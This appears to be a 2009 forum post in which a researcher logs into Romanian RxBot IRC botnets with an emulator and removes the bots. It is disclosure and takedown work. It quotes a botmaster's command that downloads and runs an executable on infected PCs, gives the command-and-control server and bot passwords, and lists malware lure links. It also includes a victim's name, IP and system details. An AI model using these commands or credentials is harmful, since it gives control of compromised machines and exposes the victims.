[2009-05-27 19:14] <n-802267> [MAIN]: Password accepted.
[2009-05-27 19:14] <n-271246> [MAIN]: Password accepted.
[2009-05-27 19:14] <Snake> .download http://81.196.95.22:528/Speed-Extreme%20v2.exe c:\windows\doc.exe 1
[2009-05-27 19:14] <n-802267> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/Speed-Extreme%20v2.exe to: c:\windows\doc.exe.
[2009-05-27 19:14] <n-271246> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/Speed-Extreme%20v2.exe to: c:\windows\doc.exe.
[2009-05-27 19:14] <n-802267> [DOWNLOAD]: Downloaded 363.8 KB to c:\windows\doc.exe @ 363.8 KB/sec.
[2009-05-27 19:14] <n-802267> [DOWNLOAD]: Opened: c:\windows\doc.exe.
[2009-05-27 19:14] <n-271246> [DOWNLOAD]: Downloaded 363.8 KB to c:\windows\doc.exe @ 121.3 KB/sec.
[2009-05-27 19:14] <n-271246> [DOWNLOAD]: Opened: c:\windows\doc.exe.
[2009-05-27 19:15] *** Parts: n-802267
[2009-05-27 19:15] <Snake> .clearlog
[2009-05-27 19:15] <n-271246> [LOGS]: Cleared.
[2009-05-27 19:15] <Snake> .cmdstop
[2009-05-27 19:15] <n-271246> [CMD]: No Remote shell thread found.
[2009-05-27 19:16] *** Parts: n-271246
[2009-05-27 19:17] <Snake> .redirectstop
[2009-05-27 19:17] <Snake> .redirectstop 1
[2009-05-27 19:17] <Snake> .redirectstop
[2009-05-27 19:17] <Snake> .logout
[2009-05-27 19:17] <Snake> .login thepartofminfd
[2009-05-27 19:17] <Snake> .login
[2009-05-27 19:17] <Snake> fd
[2009-05-27 19:17] <Snake> f
[2009-05-27 19:17] <Snake> s
[2009-05-27 19:17] <Snake> f
[2009-05-27 19:17] <Snake> :\
[2009-05-27 19:17] *** Disconnected

All bots are gone.

Quote:

[2009-05-27 19:19] <Snake> .login thepartofmindhack
[2009-05-27 19:20] <Snake> .login
[2009-05-27 19:20] <Snake> .login fdsijgds
[2009-05-27 19:20] <Snake> ..g.sow
[2009-05-27 19:20] <Snake> tr
[2009-05-27 19:20] <Snake> w
[2009-05-27 19:20] <Snake> tr
[2009-05-27 19:20] <Snake> t
[2009-05-27 19:20] <Snake> :
[2009-05-27 19:20] *** Disconnected

Speed-Extreme v2.exe is an update for that trojan, and it was spammed in all hubs.

Server address: area-x.unlimited-network.ro
Server password: okriei95ioj
Channel: #area-x
Channel password: tekoreijfdgj6587
Nickname prefix for bots: [FLT]-*
Login password for bots: thebestokir5906o

Quote:

[2009-05-27 20:52] *** Connected
[2009-05-27 20:52] *** Joins: Lithium
[2009-05-27 20:52] *** Joins: [FLT]-451356
[2009-05-27 20:52] *** Looking up your hostname
[2009-05-27 20:52] *** Found your hostname, cached
[2009-05-27 20:52] *** Checking Ident
[2009-05-27 20:52] *** No ident response
[2009-05-27 20:52] <Area.Zone.XLife> MODE :Register first.
[2009-05-27 20:52] <Area.Zone.XLife> Welcome to the Internet Relay Network [FLT]-451
Your host is Area.Zone.XLife, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
Area.Zone.XLife beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server
NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 25 users and 0 invisible on 1 servers
1 :unknown connection(s)
2 :channels formed
I have 25 clients and 0 servers
[2009-05-27 20:52] *** [FLT]-451 Highest connection count: 25 (25 clients)
[2009-05-27 20:52] <Area.Zone.XLife> MOTD File is missing
[2009-05-27 20:52] *** [FLT]-451 on 2 ca 2(4) ft 9(10) tr
[2009-05-27 20:52] [FLT]-076 [FLT]-362
[2009-05-27 20:52] *** Joins: [FLT]-451
[2009-05-27 20:52] *** Joins: [FLT]-743
[2009-05-27 20:52] *** Joins: [FLT]-632
[2009-05-27 20:52] *** Joins: [FLT]-078
[2009-05-27 20:52] *** Joins: [FLT]-297
[2009-05-27 20:52] *** Joins: Snake
[2009-05-27 20:52] *** Joins: [FLT]-505
[2009-05-27 20:52] *** Joins: [FLT]-954
[2009-05-27 20:52] *** Joins: [FLT]-527
[2009-05-27 20:52] *** Joins: [FLT]-477
[2009-05-27 20:52] *** Joins: [FLT]-051
[2009-05-27 20:52] *** Joins: [FLT]-637
[2009-05-27 20:52] *** Joins: [FLT]-630
[2009-05-27 20:52] *** Joins: [FLT]-758
[2009-05-27 20:52] *** Joins: [FLT]-774
[2009-05-27 20:52] *** Joins: [FLT]-664
[2009-05-27 20:52] *** Joins: [FLT]-072
[2009-05-27 20:53] <[FLT]-632> [MAIN]: Password accepted.
[2009-05-27 20:53] <[FLT]-632> [MAIN]: Removing Bot.
[2009-05-27 20:53] *** Parts: [FLT]-632
[2009-05-27 20:53] <[FLT]-072> [MAIN]: Password accepted.
[2009-05-27 20:53] <[FLT]-072> [MAIN]: Removing Bot.
[2009-05-27 20:53] *** Parts: [FLT]-072
[2009-05-27 20:54] <[FLT]-051> [MAIN]: Password accepted.
[2009-05-27 20:54] <[FLT]-078> [MAIN]: Password accepted.
[2009-05-27 20:54] <[FLT]-451> .login thebestokir5906o
[2009-05-27 20:54] <[FLT]-297> [MAIN]: Password accepted.
[2009-05-27 20:54] <Area.Zone.XLife> [FLT]-451356 :No such nick
[2009-05-27 20:54] <[FLT]-505> [MAIN]: Password accepted.
[2009-05-27 20:54] <[FLT]-527> [MAIN]: Password accepted.
[2009-05-27 20:54] <[FLT]-477> [MAIN]: Password accepted.
[2009-05-27 20:54] <[FLT]-630> [MAIN]: Password accepted.
[2009-05-27 20:54] <Area.Zone.XLife> [FLT]-637 :Target change too fast. Please wait 110 seconds.
[2009-05-27 20:54] <[FLT]-664> [MAIN]: Password accepted.
[2009-05-27 20:54] <Area.Zone.XLife> [FLT]-743 :Target change too fast. Please wait 108 seconds.
[2009-05-27 20:54] <Area.Zone.XLife> [FLT]-758 :Target change too fast. Please wait 108 seconds.
[2009-05-27 20:54] <Area.Zone.XLife> [FLT]-774 :Target change too fast. Please wait 108 seconds.
[2009-05-27 20:54] <Area.Zone.XLife> [FLT]-954 :Target change too fast. Please wait 108 seconds.
[2009-05-27 20:54] <[FLT]-051> [MAIN]: Removing Bot.
[2009-05-27 20:54] *** Parts: [FLT]-051
[2009-05-27 20:54] <[FLT]-078> [MAIN]: Removing Bot.
[2009-05-27 20:54] *** Parts: [FLT]-078
[2009-05-27 20:54] <[FLT]-297> [MAIN]: Removing Bot.
[2009-05-27 20:54] *** Parts: [FLT]-297
[2009-05-27 20:54] <[FLT]-451> .remove
[2009-05-27 20:54] <Area.Zone.XLife> [FLT]-451356 :No such nick
[2009-05-27 20:54] <[FLT]-477> [MAIN]: Removing Bot.
[2009-05-27 20:54] *** Parts: [FLT]-477
[2009-05-27 20:54] <[FLT]-505> [MAIN]: Removing Bot.
[2009-05-27 20:54] <[FLT]-527> [MAIN]: Removing Bot.
[2009-05-27 20:54] *** Parts: [FLT]-505
[2009-05-27 20:54] *** Parts: [FLT]-527
[2009-05-27 20:54] <[FLT]-630> [MAIN]: Removing Bot.
[2009-05-27 20:55] *** Parts: [FLT]-630
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-637 :Target change too fast. Please wait 90 seconds.
[2009-05-27 20:55] <[FLT]-664> [MAIN]: Removing Bot.
[2009-05-27 20:55] *** Parts: [FLT]-664
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-743 :Target change too fast. Please wait 88 seconds.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-758 :Target change too fast. Please wait 88 seconds.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-774 :Target change too fast. Please wait 88 seconds.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-954 :Target change too fast. Please wait 88 seconds.
[2009-05-27 20:55] *** Joins: [FLT]-089
[2009-05-27 20:55] <[FLT]-451> .login thebestokir5906o
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-451356 :No such nick
- [FLT]-637 :Target change too fast. Please wait 64 seconds.
- [FLT]-743 :Target change too fast. Please wait 65 seconds.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-758 :Target change too fast. Please wait 66 seconds.
[2009-05-27 20:55] <[FLT]-089> [MAIN]: Password accepted.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-774 :Target change too fast. Please wait 66 seconds.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-954 :Target change too fast. Please wait 66 seconds.
[2009-05-27 20:55] <[FLT]-451> .remove
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-451356 :No such nick
[2009-05-27 20:55] <[FLT]-089> [MAIN]: Removing Bot.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-637 :Target change too fast. Please wait 60 seconds.
[2009-05-27 20:55] *** Parts: [FLT]-089
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-743 :Target change too fast. Please wait 60 seconds.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-758 :Target change too fast. Please wait 60 seconds.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-774 :Target change too fast. Please wait 60 seconds.
[2009-05-27 20:55] <Area.Zone.XLife> [FLT]-954 :Target change too fast. Please wait 60 seconds.
[2009-05-27 20:56] *** Joins: [FLT]-984
[2009-05-27 20:57] <[FLT]-451> .login thebestokir5906o
[2009-05-27 20:57] <Area.Zone.XLife> [FLT]-451356 :No such nick
- [FLT]-743 :Target change too fast. Please wait 100 seconds.
[2009-05-27 20:57] <Area.Zone.XLife> [FLT]-758 :Target change too fast. Please wait 101 seconds.
[2009-05-27 20:57] <Area.Zone.XLife> [FLT]-774 :Target change too fast. Please wait 101 seconds.
[2009-05-27 20:57] <Area.Zone.XLife> [FLT]-954 :Target change too fast. Please wait 101 seconds.
[2009-05-27 20:57] <[FLT]-637> [MAIN]: Password accepted.
[2009-05-27 20:57] <[FLT]-984> [MAIN]: Password accepted.
[2009-05-27 20:57] <[FLT]-451> .remove
[2009-05-27 20:57] <Area.Zone.XLife> [FLT]-451356 :No such nick
[2009-05-27 20:57] <Area.Zone.XLife> [FLT]-743 :Target change too fast. Please wait 90 seconds.
- [FLT]-758 :Target change too fast. Please wait 92 seconds.
[2009-05-27 20:57] <Area.Zone.XLife> [FLT]-774 :Target change too fast. Please wait 93 seconds.
[2009-05-27 20:57] <Area.Zone.XLife> [FLT]-954 :Target change too fast. Please wait 93 seconds.
[2009-05-27 20:57] <[FLT]-984> [MAIN]: Removing Bot.
[2009-05-27 20:57] *** Parts: [FLT]-984
[2009-05-27 20:57] <[FLT]-637> [MAIN]: Removing Bot.
[2009-05-27 20:57] *** Parts: [FLT]-637
[2009-05-27 20:58] *** Parts: Snake

Quote:

[2009-05-27 21:02] *** Joins: [FLT]-743
[2009-05-27 21:02] *** Joins: [FLT]-954
[2009-05-27 21:02] *** Joins: [FLT]-758
[2009-05-27 21:02] *** Joins: [FLT]-774
[2009-05-27 21:02] *** Joins: [FLT]-076
[2009-05-27 21:02] *** Joins: [FLT]-362
[2009-05-27 21:02] <[FLT]-076> [MAIN]: Password accepted.
[2009-05-27 21:02] <[FLT]-362> [MAIN]: Password accepted.
[2009-05-27 21:02] <[FLT]-743> [MAIN]: Password accepted.
[2009-05-27 21:02] <[FLT]-758> [MAIN]: Password accepted.
[2009-05-27 21:02] <[FLT]-774> [MAIN]: Password accepted.
[2009-05-27 21:02] <[FLT]-954> [MAIN]: Password accepted.
[2009-05-27 21:02] <[FLT]-966> .login thebestokir5906o
[2009-05-27 21:02] <[FLT]-076> [MAIN]: Removing Bot.
[2009-05-27 21:02] *** Parts: [FLT]-076
[2009-05-27 21:02] <[FLT]-362> [MAIN]: Removing Bot.
[2009-05-27 21:02] <[FLT]-743> [MAIN]: Removing Bot.
[2009-05-27 21:02] *** Parts: [FLT]-362
[2009-05-27 21:02] *** Parts: [FLT]-743
[2009-05-27 21:02] <[FLT]-758> [MAIN]: Removing Bot.
[2009-05-27 21:02] *** Parts: [FLT]-758
[2009-05-27 21:02] <[FLT]-774> [MAIN]: Removing Bot.
[2009-05-27 21:02] *** Parts: [FLT]-774
[2009-05-27 21:02] <[FLT]-954> [MAIN]: Removing Bot.
[2009-05-27 21:02] *** Parts: [FLT]-954
[2009-05-27 21:02] <[FLT]-966> .remove
[2009-05-27 21:04] *** Disconnected

Here he didn't see my nick, but the nick of a bot (I copy+pasted what other bot said):

Quote:

[2009-05-27 21:25] <Snake> .login
[2009-05-27 21:25] <Snake> .login thebestokir5906o
[2009-05-27 21:26] <Lithium> [MAIN]: Password accepted.
[2009-05-27 21:26] <Snake> .logout
[2009-05-27 21:26] <Snake> thebestokir5906o
[2009-05-27 21:26] <Snake> thebestokir5906o
[2009-05-27 21:26] <Snake> .sysinfo
[2009-05-27 21:27] <Lithium> [SYSINFO]: [CPU]: 2200MHz. [RAM]: 1,047,856KB total, 1,047,856KB free. [Disk]: 51,199,120KB total, 19,562,060KB free. [OS]: Windows XP (Service Pack 2) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\system32. [Hostname]: clau (85.204.6.137). [Current User]: claudiu. [Date]: 27:May:2009. [Time]: 19:03:57. [Uptime]: 0d 0h 2m.
[2009-05-27 21:28] <Snake> .netinfo
[2009-05-27 21:28] <Snake> [FLT]-774869 is hbcpqyz@tor-exit-router.viol8r.org * [FLT]-774869
[2009-05-27 21:28] <Snake> [FLT]-774869 on #area-x
[2009-05-27 21:28] <Snake> [FLT]-774869 using demolation-hack
[2009-05-27 21:28] <Lithium> [NETINFO]: [Type]: LAN (LAN Connection). [IP Address]: 85.204.6.137. [Hostname]: 85.204.6.137.
[2009-05-27 21:29] *** Disconnected

Quote:

[2009-05-27 21:39] *** [FLT]-537 on 2 ca 2(4) ft 10(10)
[2009-05-27 21:39] *** Joins: [FLT]-537
[2009-05-27 21:39] <Snake> .login fds
[2009-05-27 21:39] <Snake> .login tehtustg
[2009-05-27 21:40] <Snake> .login thebestokir5906o
[2009-05-27 21:40] <Snake> doAMne..
[2009-05-27 21:40] *** Parts: Snake
[2009-05-27 21:40] *** Disconnected

Quote:

[2009-05-27 21:43] <Snake> .login fds
[2009-05-27 21:44] <Snake> ba fmm
[2009-05-27 21:44] <Snake> de prost
[2009-05-27 21:44] <Snake> ce rasa matii faci?
[2009-05-27 21:44] <Snake> Snake is kicking [FLT]-767 because: [FLT]-767
[2009-05-27 21:44] *** Parts: [FLT]-767
[2009-05-27 21:45] *** Disconnected

Quote:

[2009-05-27 21:58] *** Joins: [FLT]-882
[2009-05-27 22:00] <Snake> .login thata
[2009-05-27 22:00] <Snake> .login thebestokir5906o
[2009-05-27 22:00] <[FLT]-882> [MAIN]: Password accepted.
[2009-05-27 22:01] <[FLT]-882> [MAIN]: Password accepted.
[2009-05-27 22:01] <[FLT]-882> [MAIN]: Removing Bot.
[2009-05-27 22:01] *** Parts: [FLT]-882
[2009-05-27 22:02] <Snake> .sysinfo
[2009-05-27 22:02] <Snake> .login fdakfd
[2009-05-27 22:03] *** Parts: Snake

BTW I made a better version of RxBotEmulator, you can download it from here: http://nemesis.te-home.net/Forum/3000_News/RxBotEmulator2.zip (Creative Commons, Attribution-NonCommercial-ShareAlike 3.0).

Vektor

2009-06-01
19:18:36

Quote

[€-W]-羻哸ck wrote:

[22:59:12] <[€-W]-羻哸ck> Timisoara a primit cele 6 puncte !!! Detalii pe TV ONLINE Speed http://speed.xtremep.ro:628/Xtream-Speed.rar

[€-W]-羻哸ck wrote:

[12:26:15] <[Ro]Attack> salut EviL Ne-am gandit la tine si la faptul ca poate intampini cateodata probleme cu viteza downloadului.Venim un ajutorul tau cu un nou program de downloadat fara limita de viteza http://speed.xtremep.ro:628/Xtream-Speed.rar

[€-W]-羻哸ck wrote:

[12:34:50] <PauLash> Te-ai gandit vreodata ca poti downloada de 3x ca viteza dupa ODc? sau oricare alt DC++? daca vrei sa incerci downloadeaza programul special proiectat de aici http://speed.xtremep.ro:628/Xtream-Speed.rar sper sa-ti placa

Xtream-Speed.rar contains 2 files,

Instructiuni de Folosire.txt wrote:
E Foarte simplu de folosit printr-un singur click se rezolva totul
Va aparea ceva de genu : block=unblock=later apasati pe Unblock ! si gata
BAFTA;)
Xtream-Speed.exe, which is again, RxBot

RxBot settings:

IRC server: xzone.unlimited-network.ro (81.196.95.22)
Server password: okfdsfjdgfidgfd
Channel: #xzone-x
Channel password: fdofsghidfhgdfg
Bots have this prefix: [FLT]-*
Login password for bots: ttgodskfsgfdg
New about information: Tr0gBot [RxBot v7.6 modded by Toxic_Snake]

Again, using RxBot Emulator:

xzone.unlimited-network.ro wrote:

[2009-06-01 16:36] *** Looking up your hostname
[2009-06-01 16:36] *** Checking Ident
[2009-06-01 16:36] *** Found your hostname
[2009-06-01 16:36] *** No ident response
[2009-06-01 16:36] <XzonE.Area.X> MODE :Register first.
[2009-06-01 16:36] <XzonE.Area.X> Welcome to the Internet Relay Network [FLT]-327
Your host is XzonE.Area.X, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
XzonE.Area.X beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server
[2009-06-01 16:36] <XzonE.Area.X> NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 38 users and 0 invisible on 1 servers
2 :channels formed
I have 38 clients and 0 servers
[2009-06-01 16:36] *** [FLT]-327 Highest connection count: 38 (38 clients)
[2009-06-01 16:36] <XzonE.Area.X> MOTD File is missing
[2009-06-01 16:36] *** [FLT]-327 on 1 ca 1(4) ft 10(10)
[2009-06-01 16:36] *** Joins: [FLT]-327
[2009-06-01 16:36] *** Joins: [FLT]-780
[2009-06-01 16:36] *** Joins: [FLT]-609
[2009-06-01 16:36] *** Joins: Destiny
[2009-06-01 16:36] *** Joins: [FLT]-084
[2009-06-01 16:36] *** Joins: [FLT]-744
[2009-06-01 16:36] *** Joins: [FLT]-318
[2009-06-01 16:36] *** Joins: Snake
[2009-06-01 16:36] *** Joins: [FLT]-782
[2009-06-01 16:36] *** Joins: [FLT]-881
[2009-06-01 16:36] *** Joins: [FLT]-565
[2009-06-01 16:36] *** Joins: [FLT]-621
[2009-06-01 16:36] *** Joins: [FLT]-336
[2009-06-01 16:36] *** Joins: [FLT]-968
[2009-06-01 16:36] *** Joins: [FLT]-608
[2009-06-01 16:36] *** Joins: [FLT]-341
[2009-06-01 16:36] *** Joins: [FLT]-225
[2009-06-01 16:36] *** Joins: [FLT]-144
[2009-06-01 16:36] *** Joins: [FLT]-758
[2009-06-01 16:36] *** Joins: Attack
[2009-06-01 16:36] *** Joins: [FLT]-554
[2009-06-01 16:36] *** Joins: [FLT]-535
[2009-06-01 16:36] *** Joins: [FLT]-049
[2009-06-01 16:36] *** Joins: [FLT]-370
[2009-06-01 16:36] *** Joins: [FLT]-016
[2009-06-01 16:36] *** Joins: [FLT]-542
[2009-06-01 16:36] *** Joins: [FLT]-827
[2009-06-01 16:36] *** Joins: [FLT]-712
[2009-06-01 16:36] *** Joins: [FLT]-052
[2009-06-01 16:36] *** Joins: [FLT]-409
[2009-06-01 16:36] *** Joins: [FLT]-887
[2009-06-01 16:36] *** Joins: [FLT]-629
[2009-06-01 16:36] *** Joins: [FLT]-234
[2009-06-01 16:36] *** Joins: [FLT]-933
[2009-06-01 16:36] *** Joins: [FLT]-250
[2009-06-01 16:36] *** Joins: [FLT]-561
[2009-06-01 16:36] <Snake> pai nu toti o musca
[2009-06-01 16:36] <Destiny> 6
[2009-06-01 16:36] <Snake> mey
[2009-06-01 16:36] <Snake> ..
[2009-06-01 16:36] <Snake> :P
[2009-06-01 16:36] <Destiny> pardon
[2009-06-01 16:36] <Destiny> :)
[2009-06-01 16:36] <Destiny> plm
[2009-06-01 16:36] <Destiny> eu dau
[2009-06-01 16:36] <Destiny> putine
[2009-06-01 16:36] <Snake> crede-ma ca am gasit
[2009-06-01 16:36] <Destiny> dar sigure
[2009-06-01 16:36] <Destiny> :)
[2009-06-01 16:36] <Snake> pe unu
[2009-06-01 16:36] <Snake> m-a luat
[2009-06-01 16:36] <Snake> pe private
[2009-06-01 16:36] <Snake> si mi-a zis
[2009-06-01 16:36] <Snake> crezi ca sunt prost?
[2009-06-01 16:36] <XzonE.Area.X>
Destiny 79.112.75.52 * :Destiny
#xzone-x
XzonE.Area.X :I'm too lazy to edit ircd.conf
11 1243862697 :seconds idle, signon time
End of /WHOIS list.
[2009-06-01 16:36] <XzonE.Area.X>
~alcooliks 86.120.86.219 * :Attack
#xzone-x
XzonE.Area.X :I'm too lazy to edit ircd.conf
56 1243858268 :seconds idle, signon time
End of /WHOIS list.
[2009-06-01 16:36] <Snake> si..n-am mai zis nimic
[2009-06-01 16:36] <Destiny> pai logic
[2009-06-01 16:36] <Snake> so..nu toti is prostii
[2009-06-01 16:36] <Snake> :D
[2009-06-01 16:36] <Destiny> ca unii stiu
[2009-06-01 16:36] <Destiny> :)
[2009-06-01 16:36] <Destiny> :))
[2009-06-01 16:36] <Destiny> kakate pe ei
[2009-06-01 16:37] <Destiny> :P
[2009-06-01 16:37] <XzonE.Area.X>
Snake 81.196.95.22 * :Snake
#xzone-x
XzonE.Area.X :I'm too lazy to edit ircd.conf
11 1243860852 :seconds idle, signon time
End of /WHOIS list.
[2009-06-01 16:37] <Destiny> deci man
[2009-06-01 16:37] <Destiny> dak vrei opresc
[2009-06-01 16:37] <Destiny> si va las pe voi
[2009-06-01 16:37] <Destiny> pola mea
[2009-06-01 16:37] <Destiny> :)
[2009-06-01 16:37] *** Parts: [FLT]-554
[2009-06-01 16:37] <Snake> nup
[2009-06-01 16:37] <Snake> stai linistit
[2009-06-01 16:37] <Snake> conteaza
[2009-06-01 16:37] <Snake> si spamu tau
[2009-06-01 16:37] <Snake> oricat ai aduce..
[2009-06-01 16:37] <Attack> faceti spam ma toti :d
[2009-06-01 16:37] <Snake> macar faci
[2009-06-01 16:37] <Snake> ;)
[2009-06-01 16:38] <Destiny> pai
[2009-06-01 16:38] <Destiny> asta vroiam sa zic
[2009-06-01 16:38] <Destiny> din 20
[2009-06-01 16:38] <Destiny> au intrat 5
[2009-06-01 16:38] <Destiny> sau 6
[2009-06-01 16:38] <Destiny> sau 21
[2009-06-01 16:38] <Destiny> nici nu mai stiu
[2009-06-01 16:38] <Destiny> da macar
[2009-06-01 16:38] <Destiny> intra la sigur
[2009-06-01 16:38] <Snake> nu conteaza...
[2009-06-01 16:38] <Snake> dap
[2009-06-01 16:38] <Snake> :P
[2009-06-01 16:38] <Destiny> eu ma bazez
[2009-06-01 16:38] <Destiny> pe intrarea lor
[2009-06-01 16:38] <Destiny> nu pe downloaduri
[2009-06-01 16:38] <Destiny> ca te kaci pe ele
[2009-06-01 16:38] <Destiny> :)
[2009-06-01 16:38] <Snake> me2
[2009-06-01 16:38] <Snake> :D
[2009-06-01 16:38] *** Joins: [FLT]-702
[2009-06-01 16:38] <Destiny> ia uitei
[2009-06-01 16:38] <Destiny> pe fraieri
[2009-06-01 16:38] <Destiny> :P
[2009-06-01 16:38] *** Joins: [FLT]-842
[2009-06-01 16:38] <Snake> :P
[2009-06-01 16:38] <Destiny> :)))
[2009-06-01 16:38] <Destiny> bagan polan gora voastra
[2009-06-01 16:38] *** Joins: [FLT]-815
[2009-06-01 16:38] <Destiny> intrati nu ?
[2009-06-01 16:39] <Destiny> sunteti jmecheri
[2009-06-01 16:39] <Destiny> ;)
[2009-06-01 16:39] <Snake> =))
[2009-06-01 16:39] <Destiny> o dam parte in parte
[2009-06-01 16:39] <Destiny> cu voi
[2009-06-01 16:39] <Destiny> fraierilor
[2009-06-01 16:39] <Attack> =))))))
[2009-06-01 16:39] <Destiny> scurg icmp ul
[2009-06-01 16:39] <Destiny> din voi
[2009-06-01 16:39] <Destiny> davash muie
[2009-06-01 16:39] <Destiny> :)))
[2009-06-01 16:39] <Attack> mam apucat iar snake
[2009-06-01 16:39] <Attack> =))))
[2009-06-01 16:39] <Snake> omg
[2009-06-01 16:39] <Snake> clar
[2009-06-01 16:39] <Snake> =)))
[2009-06-01 16:39] <Snake> stai
[2009-06-01 16:39] <Snake> ca eu
[2009-06-01 16:39] <Snake> lucrez la server
[2009-06-01 16:39] <Snake> il mai criptez
[2009-06-01 16:39] <Snake> il mai smecheresc
[2009-06-01 16:39] <Snake> poate scot..ceva frumos
[2009-06-01 16:39] <Snake> si dupa aia
[2009-06-01 16:39] <Snake> ma apuc si yo
[2009-06-01 16:39] <Snake> :D
[2009-06-01 16:41] *** Joins: [FLT]-508
[2009-06-01 16:41] <Attack> :d
[2009-06-01 16:41] *** Joins: [FLT]-482
[2009-06-01 16:42] <Snake> Result: 8/40 (20%)
[2009-06-01 16:42] <Snake> hehe..
[2009-06-01 16:42] <Snake> :-/
[2009-06-01 16:42] *** Joins: [FLT]-564
[2009-06-01 16:42] <Snake> hai sa vedem
[2009-06-01 16:42] <Snake> daca si merge
[2009-06-01 16:42] <Snake> :P
[2009-06-01 16:42] *** Joins: [M][FLT]-
[2009-06-01 16:42] <Snake> hihihi
[2009-06-01 16:42] <Snake> merge
[2009-06-01 16:42] <Snake> :D
[2009-06-01 16:42] <Attack> :)))
[2009-06-01 16:43] *** Parts: [M][FLT]-
[2009-06-01 16:43] *** Joins: [FLT]-447
[2009-06-01 16:43] <Attack> spam tataa
[2009-06-01 16:43] <Snake> :XX:X
[2009-06-01 16:43] <Attack> uite cum intra
[2009-06-01 16:43] <Snake> pai vad
[2009-06-01 16:43] <Snake> :P
[2009-06-01 16:43] <[FLT]-084> [MAIN]: Password accepted.
[2009-06-01 16:43] *** Parts: [FLT]-447
[2009-06-01 16:43] *** Joins: [FLT]-845
[2009-06-01 16:43] <[FLT]-084> [MAIN]: Removing Bot.
[2009-06-01 16:43] *** Parts: [FLT]-084
[2009-06-01 16:44] <Lithium> .login ttgodskfsgfdg
[2009-06-01 16:44] <[FLT]-934> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-250> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-933> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-234> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-968> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-815> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-561> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-629> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-780> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-318> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-621> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-565> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-744> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-535> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-052> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-842> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-409> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-845> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-702> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-564> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-887> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-609> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-049> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-336> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-712> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-758> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-508> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-144> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-782> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-827> [MAIN]: Password accepted.
[2009-06-01 16:44] <Lithium> .remove
[2009-06-01 16:44] <[FLT]-881> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-542> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-016> [MAIN]: Password accepted.
[2009-06-01 16:44] <[FLT]-934> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-250> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-933> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-561> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-629> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-318> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-968> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-234> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-621> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-780> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-744> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-565> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-535> [MAIN]: Removing Bot.
[2009-06-01 16:44] <[FLT]-052> [MAIN]: Removing Bot.
